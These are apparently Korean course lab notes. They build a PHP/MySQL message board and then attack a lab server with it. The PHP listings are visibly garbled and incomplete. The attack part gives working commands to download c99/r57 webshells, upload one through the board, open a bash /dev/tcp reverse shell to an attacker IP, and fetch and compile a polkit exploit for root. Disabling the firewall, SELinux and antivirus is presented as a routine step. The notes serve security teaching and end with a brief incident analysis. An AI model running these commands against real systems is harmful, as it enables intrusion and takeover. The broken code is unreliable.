




실습> PHP를 이용한 간단한 게시판 만들기
게시판의 구조
list.php : 게시판 목록
write.php : 글쓰기폼
writeok.php: 글저장
read.php : 글보기
delete.php : 글삭제
edit.php : 글수정폼
editok.php : 글수정
게시판의 흐름도
no는 파일을 요청할 때 글 번호이기 때문에 no라고 적혀있으면 반드시 그 파일로 no를 가지고 가야 한다.
만약에 no를 가지고 가지 않는다면 어떻게 될까? 결론은 에러!!!

1. DB 접속 정보 생성
[root@localhost ~]# mysql
CREATE DATABASE user1DB;
CREATE user user1@localhost IDENTIFIED BY 'P@ssw0rd';
GRANT ALL PRIVILEGES ON user1DB.* TO user1@localhost;
DELETE FROM mysql.user WHERE password = '';
FLUSH PRIVILEGES;
CREATE TABLE test (no int not null auto_increment primary key, userid varchar(20), userpw varchar(20));
exit

ERROR 1046 에러 발생시 use user1DB; 명령어를 통해 DB를 지정해 준다.
[root@localhost ~]# mysql -e "SELECT host,user,password FROM mysql.user"

[root@localhost ~]# mysql -e "SHOW DATABASES"


2. DB 접속 샘플 파일 생성
웹 디렉터리(웹페이지가 제공되는 디렉터리)로 이동해서 DB에 접속하는 샘플파일을 생성한다.
[root@localhost ~]# cd /var/www/html
[root@localhost ~]# vi dbms1.php

[root@localhost ~]# yum -y install lynx
[root@localhost ~]# lynx --dump http://localhost/dbms1.php
DB 접속 성공!
3. 소스코드 작성
o dbinfo.php 작성
dbinfo.php: DB 접속 정보 공통 파일
-- dbinfo.php --
-- dbinfo.php --

o list.php 작성
list.php : 게시판 목록
-- list.php --
<tr align="center" bgcolor="#ffffff">
<td> <?=$no?> </td> <td> <a href="read.php?no=<?=$no?>"><?=$userid?></a></td>
| 번호 | 사용자 |
| 글쓰기 |
o write.php 작성
write.php: 글쓰기폼
-- write.php --
::: 테이블 자료 저장 :::| 사용자 | |
| 비밀번호 | |
writeok.php 작성
writeok.php: 글저장
-- writeok.php --
-- writeok.php --

o read.php 작성
read.php: 글보기
-- list.php 수정 --
Before
<td> <?=$no?> </td> <td> <?=$userid?></td>
After
<td> <?=$no?> </td> <td> <a href="read.php?no=<?=$no?>"><?=$userid?></a></td>
-- list.php 수정 --
-- read.php --
테이블 자료 읽기$no = $_GET['no'];
/*
// 1. DBMS 접속
include "dbinfo.php";
dbhost, $dbuser, $dbpass, $dbname) or die("DB 접속 실패!");
// 2. 쿼리 실행
// mysqli_query(conn, query): 쿼리를 실행하는 함수
no";
conn, $query);
// 3. 자료 출력
// result): 행의 개수를 구하는 함수
// result) : 행의 자료를 구해서 리턴한다.
?>
<tr align="center" bgcolor="#ffffff">
<td> <?=$no?> </td> <td> <?=$userid?></td> <td> <?=$userpw?></td>
<tr align="center" bgcolor="#ffffff">
<td colspan="3">
<a href="list.php">목록<a/> |
<a href="delete.php?no=<?=$no?>">삭제</a> |
<a href="edit.php?no=<?=$no?>">수정</a> </td>
| 번호 | 사용자 | 비밀번호 |
o delete.php 작성
delete.php: 글삭제
-- delete.php --
-- delete.php --

o edit.php 작성
edit.php: 글수정폼
-- edit.php --
::: 테이블 자료 수정 :::$no = $_GET['no'];
/*
// 1. DBMS 접속
include "dbinfo.php";
dbhost, $dbuser, $dbpass, $dbname) or die("DB 접속 실패!");
// 2. 쿼리 실행
// mysqli_query(conn, query): 쿼리를 실행하는 함수
no";
conn, $query);
// 3. 자료 출력
// result): 행의 개수를 구하는 함수
// result) : 행의 자료를 구해서 리턴한다.
?>
<tr align="center" bgcolor="#ffffff">
<td> 사용자 </td> <td> <input type="text" name="userid" value="<?=$userid?>"></td>
</tr>
<tr align="center" bgcolor="#ffffff">
<td> 비밀번호 </td> <td> <input type="password" name="userpw" value="<?=$userpw?>"></td>
<tr align="center" bgcolor="#ffffff">
<td colspan="2">
<input type="button" value="목록" onClick="location.href='list.php'"> |
<input type="submit" value="수정"> </td>
o editok.php 작성
editok.php: 글수정
-- editok.php --
-- editok.php --

4. 웹쉘 다운로드
[root@localhost ~]# cd /var/www/html
[root@localhost ~]# yum -y install wget
[root@localhost ~]# wget linuxmaster.net/malware/c99shell.php.gz
[root@localhost ~]# gzip -d c99shell.php.gz
[root@localhost ~]# wget linuxmaster.net/malware/r57shell.php.gz
[root@localhost ~]# gunzip r57shell.php.gz
5. 웹쉘 접근
http://200.200.200.3/c99shell.php
http://200.200.200.3/r57shell.php

실습> mywebsite 웹쉘 테스트
목적: 웹쉘, 웹서버 세팅
도메인명: mywebsite.linuxmaster.net
IP주소: 200.200.200.3
1. IP 주소
[root@localhost ~]# ip addr add 200.200.200.3/24 dev ens33
2. mysqlwebsite 세팅
mywebsite를 다운로드해서 테스트 서버에 설치한다.
웹 애플리케이션: 소스파일(mywebsiste.tar.gz), DB파일(mywebsite.sql)
[root@localhost ~]# yum -y install rdate
[root@localhost ~]# rdate -s time.bora.net
[root@localhost ~]# cd /var/www/html
[root@localhost ~]# wget linuxmaster.net/malware/mywebsite.tar.gz
[root@localhost ~]# tar xzf mywebsite.tar.gz
[root@localhost ~]# cd mywebsite
[root@localhost ~]# vi dbconnect.php
$DBPASS = "<DB의 root 비밀번호>";
mywebsite DB를 생성한다.
Table: 파일
DB(DataBase): 디렉터리로 Table을 저장할 수 있는 방
[root@localhost ~]# mysql -e "CREATE DATABASE mywebsite"
[root@localhost ~]# mysql mywebsite < mywebsite.sql
업로드 디렉터리 설정한다.
data: 업로드 디렉터리
-웹서버 사용자 apache가 저장할 수 있는 권한이 있어야 한다. (drwxrwxrwx. 2 root root)
-SELinux 설정이 httpd_sys_rw_content_t (rw) 권한이 있어야 한다. (httpd_sys_rw_content_t)
ps aux|grep; ls -ld data; ls -Zd data 명령어로 권한을 확인한다.
[root@localhost ~]# chcon -t httpd_sys_rw_content_t data
3. 아파치 가상호스트 설정
/etc/httpd/conf/httpd.conf 파일 맨 아래에 가상호스트를 설정한다.
웹디렉터리: /var/www/html/mywebiste
도메인: mywebsite.linuxmaster.net
IP주소: 200.200.200.3
G > o > i > 복사 > 붙여넣기
[root@localhost ~]# vi /etc/httpd/conf/httpd.conf
:
:(생략)
ServerName 127.0.0.1
<VirtualHost *:80>
DocumentRoot "/var/www/html"
Servername 200.200.200.3
<VirtualHost *:80>
DocumentRoot "/var/www/html/mywebsite"
Servername mywebsite.linuxmaster.net

웹서버 설정파일의 문법을 검사해서 이상이 있는지 확인한다.
문법에 이상이 있다: 설정파일에서 수정
문법에 이상이 없다: 웹서버 재시작
[root@localhost ~]# httpd -t
Syntax OK
[root@localhost ~]# systemctl restart httpd
5. 접속
도메인: http://mywebsite.linuxmaster.net/
실습> 백신 실시간 감지 잠시 중지
윈도우 디펜더 잠시 중지 or 특정 폴더 예외처리
https://cafe.naver.com/linuxmasternet/981
개인 노트북: 백신의 실시간 감시 기능 잠시 중지
실습> winscp 설치하기
winscp: 리눅서버에 파일을 업로드/다운로드 하는 프로그램
https://cafe.naver.com/linuxmasternet/1398





실습> 웹쉘에 대해서 알아보기
구글에서 웰쉘로 검색해서 관련 정보 알아보기
실습> 웹쉘 업로드
1. 사이트 접속
http://mywebsite.linuxmaster.net/
2. 웹쉘 업로드
게시판1 > 글쓰기
이름: 공격자
제목: 웹쉘 업로드 테스트
비밀번호: 1234
업로드 파일: r57shell.php
내용: 웹쉘 테스트
전송하기를 클릭해서 웹쉘을 업로드한다.

3. 웹쉘로 접속
http://mywebsite.linuxmaster.net/data/r57shell.php

실습> 웹쉘을 이용한 쉘 권한 얻기

Attacker: 200.200.200.200
Victim: 200.200.200.3
1. 방화벽 중지
Attacker# systemctl stop firewalld
Attacker# iptables -F
2. nc 설치
넷켓(netcat, nc)?
TCP/UDP 통신을 다양하게 실행해서 전송할 수 있는 프로그램
Attacker# yum -y install gcc wget
Attacker# wget --no-check-certificate http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
Attacker# tar xzf netcat-0.7.1.tar.gz
Attacker# cd netcat-0.7.1
Attacker# ./configure
Attacker# make
Attacker# make install
8000번 포트를 오픈한다.
-l: listen
-v: verbose
-p: port number
Attacker# nc -lvp 8000
3. 리버스 연결
공격자가 웹 쉘을 업로드하고 공격자에게 연결한다.
Victim 서버를 취약하게 만들어야 하므로 SELinux를 잠시 중지한다.
Victim# setenforce 0
Reverse Connection 방법
http://mywebsite.linuxmaster.net/data/r57shell.php
첫 번째: bash 를 이용한다.
형식: bash -i >& /dev/tcp/공격자IP주소/공격자포트번호 0>&1
Run command 부분에 아래 명령어를 입력하고 Execute 버튼을 클릭한다.
bash -i >& /dev/tcp/200.200.200.200/8000 0>&1

두 번째: 웹쉘의 기능을 이용한다.
Back-connect
IP: 200.200.200.200
Port:8000
Use: C
Connection 버튼을 클릭한다.

여기서는 첫 번째 bash를 이용해서 Victim에 연결하면 아래처럼 리버스 커넥션이 되어 Victim이 Attacker에게 연결된다.
bind connection을 이용한 bind shell
-Victim에 방화벽이 존재하면 Attacker가 Victim에서 연 포트로 연결할 수 없다.

reverse connection을 이용한 reverse shell
-Victim에 방화벽이 존재해도 Victim이 Attacker에서 연 포트로 연결하므로 연결된다.
-지금 연결한 실습은 아래에 나오는 reverse shell 방식이다.

Attacker# nc -lvp 8000
Connection from 200.200.200.24:54210
bash: no job control in this shell
bash-4.2$ id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
실습> polkit 취약점을 이용한 관리자 권한 상승
!!! 만약 실습할 때 polkit 패키지를 업데이트했다면 삭제해준다. !!!
Victim# yum -y remove polkit
쉘을 획득한 공격자는 공격용 파일을 서버에서 다운로드 받아서 컴파일한 후 root권한을 획득한다.
bash-4.2$ wget linuxmaster.net/malware/evil-so.c
bash-4.2$ wget linuxmaster.net/malware/exploit.c
bash-4.2$ wget linuxmaster.net/malware/Makefile
bash-4.2$ make
bash-4.2$ ./exploit
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0
실습> 침해사고 분석




웹서버 로그
[root@localhost ~]# cd /var/log/httpd
[root@localhost ~]# cat access_log
200.200.200.1 - - [10/Jan/2023:15:14:33 +0900] "GET /data/r57shell.php?img=1 HTTP/1.1" 200 52 "http://mywebsite.linuxmaster.net/data/r57shell.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
업로드 디렉터리 확인
[root@localhost ~]# cd /var/www/html/mywebsite/data
polkit 취약점을 확인
[root@localhost ~]# ls
10.png GCONV_PATH=./ Makefile evil-so.c evildir/ exploit* exploit.c r57shell.php
결론: root 권한을 탈취 당했다는 것을 인지함.
개발팀에 의뢰해서 웹사이트의 취약점을 인지하고 패치를 진행한다.
중요 데이터를 백업을 받고 서버를 재설치한다.